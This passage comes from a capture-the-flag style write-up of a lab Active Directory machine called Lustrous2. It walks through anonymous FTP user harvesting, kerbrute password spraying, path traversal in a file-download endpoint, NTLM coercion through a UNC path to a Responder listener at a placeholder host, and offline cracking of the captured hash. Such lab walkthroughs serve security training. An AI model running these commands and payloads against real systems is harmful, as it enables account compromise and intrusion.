08-31-24  01:58AM       &amp;lt;DIR&amp;gt;          Production
08-31-24  01:58AM       &amp;lt;DIR&amp;gt;          SEC
226 Transfer complete.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;HR&lt;/code&gt;, &lt;code&gt;IT&lt;/code&gt;, and &lt;code&gt;Production&lt;/code&gt; turned out to be empty. &lt;code&gt;ITSEC&lt;/code&gt; had one file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; &lt;span class="nb"&gt;cd &lt;/span&gt;ITSEC
250 CWD &lt;span class="nb"&gt;command &lt;/span&gt;successful.
ftp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;09-07-24  03:50AM                  207 audit_draft.txt
226 Transfer complete.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; get audit_draft.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;226 Transfer complete.
207 bytes received in 00:00 (0.74 KiB/s)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;audit_draft.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Audit Report Issue Tracking
[Fixed] NTLM Authentication Allowed
[Fixed] Signing &amp;amp; Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled
[Open] Weak User Passwords
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is essentially a hint sheet: NTLM is dead here (confirms the &lt;code&gt;401&lt;/code&gt;/Negotiate behavior), but &lt;strong&gt;weak passwords are still an open issue&lt;/strong&gt; - a strong pointer toward password guessing/spraying.&lt;/p&gt;

&lt;p&gt;Then &lt;code&gt;Homes&lt;/code&gt;, which turned out to hold one (empty) directory per domain user - effectively a leaked username list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; &lt;span class="nb"&gt;cd &lt;/span&gt;Homes
250 CWD &lt;span class="nb"&gt;command &lt;/span&gt;successful.
ftp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;09-07-24  12:03AM       &amp;lt;DIR&amp;gt;          Aaron.Norman
09-07-24  12:03AM       &amp;lt;DIR&amp;gt;          Adam.Barnes
09-07-24  12:03AM       &amp;lt;DIR&amp;gt;          Amber.Ward
...                                              [69 more directories, one per user — all empty]
09-07-24  12:03AM       &amp;lt;DIR&amp;gt;          Wayne.Taylor
226 Transfer complete.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Pulling the username list cleanly
&lt;/h3&gt;

&lt;p&gt;Rather than eyeballing the &lt;code&gt;ls&lt;/code&gt; output, the directory names were pulled programmatically with a heredoc FTP session and &lt;code&gt;nlist&lt;/code&gt;, and saved to &lt;code&gt;users.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp &lt;span class="nt"&gt;-inv&lt;/span&gt; machine-ip &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt; | tee users.txt
user anonymous ""
cd Homes
nlist
bye
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Connected to machine-ip.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
Remote system type is Windows_NT.
250 CWD command successful.
125 Data connection already open; Transfer starting.
Aaron.Norman
Adam.Barnes
...                                              [69 more names]
Wayne.Taylor
226 Transfer complete.
221 Goodbye.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The raw &lt;code&gt;users.txt&lt;/code&gt; also contains the FTP banner/status lines mixed in with the names (since &lt;code&gt;tee&lt;/code&gt; captured everything printed to the terminal), so it was filtered down to just valid &lt;code&gt;Firstname.Lastname&lt;/code&gt; / &lt;code&gt;ShareSvc&lt;/code&gt;-style entries with &lt;code&gt;grep&lt;/code&gt; - this is the command used to build the clean &lt;code&gt;user.txt&lt;/code&gt; list used for the rest of the attack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'^[A-Za-z]+\.[A-Za-z]+$|^ShareSvc$'&lt;/span&gt; users.txt &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result: 71 clean usernames in &lt;code&gt;user.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Username validation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kerbrute userenum &lt;span class="nt"&gt;-d&lt;/span&gt; lustrous2.vl &lt;span class="nt"&gt;--dc&lt;/span&gt; lus2dc.lustrous2.vl user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026/07/01 06:35:02 &amp;gt;  Using KDC(s):
2026/07/01 06:35:02 &amp;gt;   lus2dc.lustrous2.vl:88
2026/07/01 06:35:03 &amp;gt;  [+] VALID USERNAME:       Aaron.Norman@lustrous2.vl
2026/07/01 06:35:03 &amp;gt;  [+] VALID USERNAME:       Andrea.Smith@lustrous2.vl
...                                              [69 more valid hits]
2026/07/01 06:35:05 &amp;gt;  Done! Tested 71 usernames (71 valid) in 2.722 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;kerbrute&lt;/code&gt; confirms usernames by checking which ones return a valid Kerberos pre-auth response - no password needed. &lt;strong&gt;All 71&lt;/strong&gt; candidates pulled from FTP came back as valid usernames, confirming the FTP folder list is a genuine (if accidental) user directory.&lt;/p&gt;




&lt;h2&gt;
  
  
  Initial Foothold — Password Guessing
&lt;/h2&gt;

&lt;p&gt;Since the audit note explicitly flagged "Weak User Passwords" as still open, and the box was built in 2024, a classic pattern was tried: &lt;code&gt;&amp;lt;MachineName&amp;gt;&amp;lt;Year&amp;gt;&lt;/code&gt;. A few guesses were tried (&lt;code&gt;Lustroustwo2024&lt;/code&gt;, &lt;code&gt;LustrousTwo2024&lt;/code&gt;, &lt;code&gt;Lustroustwo2024&lt;/code&gt;) before landing on the right casing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kerbrute passwordspray &lt;span class="nt"&gt;-d&lt;/span&gt; lustrous2.vl &lt;span class="nt"&gt;--dc&lt;/span&gt; lus2dc.lustrous2.vl user.txt Lustrous2024
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026/07/01 07:37:47 &amp;gt;  Using KDC(s):
2026/07/01 07:37:47 &amp;gt;   lus2dc.lustrous2.vl:88
2026/07/01 07:37:51 &amp;gt;  [+] VALID LOGIN:  Thomas.Myers@lustrous2.vl:Lustrous2024
2026/07/01 07:37:51 &amp;gt;  Done! Tested 71 logins (1 successes) in 4.239 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;Thomas.Myers : Lustrous2024&lt;/code&gt;&lt;/strong&gt; - one valid hit out of 71 accounts, in a single spray attempt (not a brute force - a targeted guess based on the naming convention hint from the audit file).&lt;/p&gt;

&lt;p&gt;Confirmed over SMB - note NTLM fails outright (as the audit predicted) but Kerberos (&lt;code&gt;-k&lt;/code&gt;) works:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; Thomas.Myers &lt;span class="nt"&gt;-p&lt;/span&gt; Lustrous2024
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SMB   machine-ip  445    LUS2DC   [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB   machine-ip  445    LUS2DC   [-] Lustrous2.vl\Thomas.Myers:Lustrous2024 STATUS_NOT_SUPPORTED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; Thomas.Myers &lt;span class="nt"&gt;-p&lt;/span&gt; Lustrous2024 &lt;span class="nt"&gt;-k&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SMB   machine-ip  445    LUS2DC   [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB   machine-ip  445    LUS2DC   [+] Lustrous2.vl\Thomas.Myers:Lustrous2024
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shares available to this user were limited to the defaults (&lt;code&gt;IPC$&lt;/code&gt;, &lt;code&gt;NETLOGON&lt;/code&gt;, &lt;code&gt;SYSVOL&lt;/code&gt;) - nothing extra to read here.&lt;/p&gt;

&lt;h3&gt;
  
  
  Getting Kerberos working properly
&lt;/h3&gt;

&lt;p&gt;LDAP enumeration with plain credentials failed (signing is enforced), so a proper Kerberos ticket was needed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-getTGT lustrous2.vl/Thomas.Myers:Lustrous2024
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Thomas.Myers.ccache
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;BloodHound collection was run using that ticket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodhound-python &lt;span class="nt"&gt;-u&lt;/span&gt; Thomas.Myers &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-no-pass&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; lustrous2.vl &lt;span class="nt"&gt;-dc&lt;/span&gt; lus2dc.lustrous2.vl &lt;span class="nt"&gt;-ns&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-c&lt;/span&gt; All &lt;span class="nt"&gt;--zip&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;INFO: Found AD domain: lustrous2.vl
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 4 computers
INFO: Found 75 users
INFO: Found 54 groups
INFO: Found 2 gpos / 2 ous / 19 containers / 0 trusts
INFO: Compressing output into 20260701074404_bloodhound.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ingested into BloodHound and marked &lt;code&gt;Thomas.Myers&lt;/code&gt; as Owned. At this point there wasn't much of an obvious privesc path directly from BloodHound — the useful leads came from the file server itself.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reaching the Web App (Kerberos SPN gotcha)
&lt;/h2&gt;

&lt;p&gt;Visiting &lt;code&gt;http://lustrous2.vl&lt;/code&gt; in a browser just showed &lt;strong&gt;&lt;code&gt;401 Unauthorized&lt;/code&gt;&lt;/strong&gt; - the page literally reads "Looks like there's a problem with this site... Error code: 401 Unauthorized". It &lt;em&gt;looks&lt;/em&gt; broken, but this is expected: the site demands SPNEGO/Kerberos "Negotiate" auth that a browser without a valid domain Kerberos ticket can't satisfy (background: see the referenced woshub article on IIS Kerberos auth, "Configuring Kerberos Authentication on IIS Website").&lt;/p&gt;

&lt;p&gt;Getting &lt;code&gt;curl --negotiate&lt;/code&gt; to actually succeed took some troubleshooting. A working &lt;code&gt;/etc/hosts&lt;/code&gt; and a ticket for &lt;code&gt;Thomas.Myers&lt;/code&gt; weren't enough — the request kept failing with a "server not found in Kerberos database" style error even though the ticket cache clearly had a valid ticket.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; &lt;code&gt;/etc/hosts&lt;/code&gt; mapped all three names (&lt;code&gt;lustrous2.vl&lt;/code&gt;, &lt;code&gt;lus2dc.lustrous2.vl&lt;/code&gt;, &lt;code&gt;LUS2DC.lustrous2.vl&lt;/code&gt;) to the same IP. MIT Kerberos's default reverse-DNS canonicalization (&lt;code&gt;rdns&lt;/code&gt;) rewrote the target hostname used to build the Kerberos Service Principal Name (SPN) down to just &lt;code&gt;lustrous2.vl&lt;/code&gt; — but the actual SPN registered in the KDC is &lt;code&gt;HTTP/lus2dc.lustrous2.vl&lt;/code&gt;. So curl was requesting a ticket for a service that doesn't exist, instead of reusing the cached (correct) one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix&lt;/strong&gt; — disable that canonicalization in &lt;code&gt;/etc/krb5.conf&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[libdefaults]&lt;/span&gt;
    &lt;span class="py"&gt;dns_lookup_kdc&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;false&lt;/span&gt;
    &lt;span class="py"&gt;dns_lookup_realm&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;false&lt;/span&gt;
    &lt;span class="py"&gt;default_realm&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;LUSTROUS2.VL&lt;/span&gt;
    &lt;span class="py"&gt;rdns&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;false&lt;/span&gt;
    &lt;span class="py"&gt;dns_canonicalize_hostname&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;false&lt;/span&gt;
&lt;span class="nn"&gt;[realms]&lt;/span&gt;
    &lt;span class="py"&gt;LUSTROUS2.VL&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;{&lt;/span&gt;
        &lt;span class="py"&gt;kdc&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;lus2dc.lustrous2.vl&lt;/span&gt;
        &lt;span class="py"&gt;admin_server&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;lus2dc.lustrous2.vl&lt;/span&gt;
        &lt;span class="py"&gt;default_domain&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;Lustrous2.vl&lt;/span&gt;
    &lt;span class="err"&gt;}&lt;/span&gt;
&lt;span class="nn"&gt;[domain_realm]&lt;/span&gt;
    &lt;span class="py"&gt;.Lustrous2.vl&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;LUSTROUS2.VL&lt;/span&gt;
    &lt;span class="py"&gt;Lustrous2.vl&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;LUSTROUS2.VL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;rdns = false&lt;/code&gt; stops the reverse-DNS lookup that was collapsing the hostname, and &lt;code&gt;dns_canonicalize_hostname = false&lt;/code&gt; stops Kerberos from doing its own forward-DNS canonicalization pass on top of that - together they force curl's GSSAPI layer to build the SPN literally from the hostname typed in the URL (&lt;code&gt;lus2dc.lustrous2.vl&lt;/code&gt;), matching what's actually registered in the KDC.&lt;/p&gt;

&lt;p&gt;After that, &lt;code&gt;kinit&lt;/code&gt; + &lt;code&gt;curl --negotiate&lt;/code&gt; succeeded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : http://lus2dc.lustrous2.vl/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Microsoft-IIS/10.0&lt;/span&gt;
&lt;span class="na"&gt;WWW-Authenticate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Negotiate ...&lt;/span&gt;
&lt;span class="na"&gt;X-Powered-By&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ASP.NET&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fetching the page (no more &lt;code&gt;401&lt;/code&gt;) showed an internal file-sharing app called &lt;strong&gt;LuShare&lt;/strong&gt;, greeting "Well met, LUSTROUS2\Thomas.Myers!" and listing one downloadable file, &lt;code&gt;audit.txt&lt;/code&gt; (same content as the FTP copy).&lt;/p&gt;




&lt;h2&gt;
  
  
  LFI in the Download Endpoint
&lt;/h2&gt;

&lt;p&gt;The download link took a raw &lt;code&gt;fileName&lt;/code&gt; query parameter with no path sanitization:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : &lt;span class="s1"&gt;'http://lus2dc.lustrous2.vl/File/Download?filename=..\..\..\..\Windows\win.ini'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;; for 16-bit app support
&lt;/span&gt;&lt;span class="nn"&gt;[fonts]&lt;/span&gt;
&lt;span class="nn"&gt;[extensions]&lt;/span&gt;
&lt;span class="nn"&gt;[mci extensions]&lt;/span&gt;
&lt;span class="nn"&gt;[files]&lt;/span&gt;
&lt;span class="nn"&gt;[Mail]&lt;/span&gt;
&lt;span class="py"&gt;MAPI&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirmed an unauthenticated-to-anyone-logged-in &lt;strong&gt;path traversal / arbitrary file read&lt;/strong&gt;. It also became clear that the download logic could be pointed at a &lt;strong&gt;UNC path&lt;/strong&gt; (&lt;code&gt;\\attacker-ip\share\x&lt;/code&gt;), meaning the server itself would attempt to reach out over SMB to a path we control - a classic &lt;strong&gt;NTLM auth coercion&lt;/strong&gt; primitive.&lt;/p&gt;

&lt;h3&gt;
  
  
  Capturing and Cracking the Service Account's Hash
&lt;/h3&gt;

&lt;p&gt;To catch that inbound SMB authentication attempt, a &lt;code&gt;responder&lt;/code&gt; listener was started first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;responder &lt;span class="nt"&gt;-I&lt;/span&gt; tun0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Poisoners: LLMNR [ON]  NBT-NS [ON]  MDNS [ON]  DNS [ON]
[+] Servers:   SMB server [ON]  HTTP server [ON]  Kerberos server [ON]
[+] Listening for events...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the download endpoint was pointed at the listener's IP as a UNC path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : &lt;span class="s1"&gt;'http://lus2dc.lustrous2.vl/File/Download?filename=//your-ip/share/x'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The IIS app (running as its own service account, not us) tried to authenticate to that path over SMB, and Responder captured a &lt;strong&gt;NetNTLMv2 hash for &lt;code&gt;LUSTROUS2\ShareSvc&lt;/code&gt;&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[SMB] NTLMv2-SSP Client   : machine-ip
[SMB] NTLMv2-SSP Username : LUSTROUS2\ShareSvc
[SMB] NTLMv2-SSP Hash     : ShareSvc::LUSTROUS2:&amp;lt;redacted-challenge&amp;gt;:&amp;lt;redacted-response-blob&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a &lt;strong&gt;NetNTLMv2 challenge/response&lt;/strong&gt;, not the account's raw password hash — it's cryptographic proof of the password tied to a random challenge, generated fresh on each auth attempt. It can't be replayed directly (no pass-the-hash), but it &lt;em&gt;can&lt;/em&gt; be cracked offline by trying candidate passwords against the same challenge/response math. It was saved to a file and fed to &lt;code&gt;john&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; svc.hash &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
ShareSvc::LUSTROUS2:&amp;lt;redacted-hash&amp;gt;
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt svc.hash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
1g 0:00:00:06 DONE (2026-07-01 08:54) 0.1587g/s 2275Kp/s 2275Kc/s 2275KC/s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;john&lt;/code&gt; recovered a valid plaintext password for &lt;code&gt;ShareSvc&lt;/code&gt; (redacted) in about 6 seconds — a weak, wordlist-guessable password. Confirmed over SMB with Kerberos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb lus2dc.lustrous2.vl &lt;span class="nt"&gt;-u&lt;/span&gt; ShareSvc &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;redacted&amp;gt;'&lt;/span&gt; &lt;span class="nt"&gt;-k&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SMB   lus2dc.lustrous2.vl 445    lus2dc   [+] lustrous2.vl\ShareSvc:&amp;lt;redacted&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ShareSvc&lt;/code&gt; itself had no interesting group memberships or share access in BloodHound, so this password is a dead end &lt;em&gt;on its own&lt;/em&gt; — but it becomes very useful once the app's admin-gated &lt;code&gt;/File/Debug&lt;/code&gt; backdoor is found below, via a Kerberos delegation trick.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pulling the app's own source
&lt;/h3&gt;

&lt;p&gt;Rather than guess at the app's logic, its own files were read off disk via the LFI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--negotiate&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; : &lt;span class="s1"&gt;'http://lus2dc.lustrous2.vl/File/Download?filename=../../web.config'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="utf-8"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;configuration&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;location&lt;/span&gt; &lt;span class="na"&gt;path=&lt;/span&gt;&lt;span class="s"&gt;"."&lt;/span&gt; &lt;span class="na"&gt;inheritInChildApplications=&lt;/span&gt;&lt;span class="s"&gt;"false"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;system.webServer&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;handlers&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;add&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"aspNetCore"&lt;/span&gt; &lt;span class="na"&gt;path=&lt;/span&gt;&lt;span class="s"&gt;"*"&lt;/span&gt; &lt;span class="na"&gt;verb=&lt;/span&gt;&lt;span class="s"&gt;"*"&lt;/span&gt; &lt;span class="na"&gt;modules=&lt;/span&gt;&lt;span class="s"&gt;"AspNetCoreModuleV2"&lt;/span&gt; &lt;span class="na"&gt;resourceType=&lt;/span&gt;&lt;span class="s"&gt;"Unspecified"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/handlers&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;aspNetCore&lt;/span&gt; &lt;span class="na"&gt;processPath=&lt;/span&gt;&lt;span class="s"&gt;"dotnet"&lt;/span&gt; &lt;span class="na"&gt;arguments=&lt;/span&gt;&lt;span class="s"&gt;".\LuShare.dll"&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="na"&gt;hostingModel=&lt;/span&gt;&lt;span class="s"&gt;"inprocess"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/system.webServer&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/location&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/configuration&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!--ProjectGuid: 4E46018E-B73C-4E7B-8DA2-87855F22435A--&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirmed the app is an ASP.NET Core app run in-process by IIS as &lt;code&gt;LuShare.dll&lt;/code&gt;. That DLL was then pulled the same way and saved locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
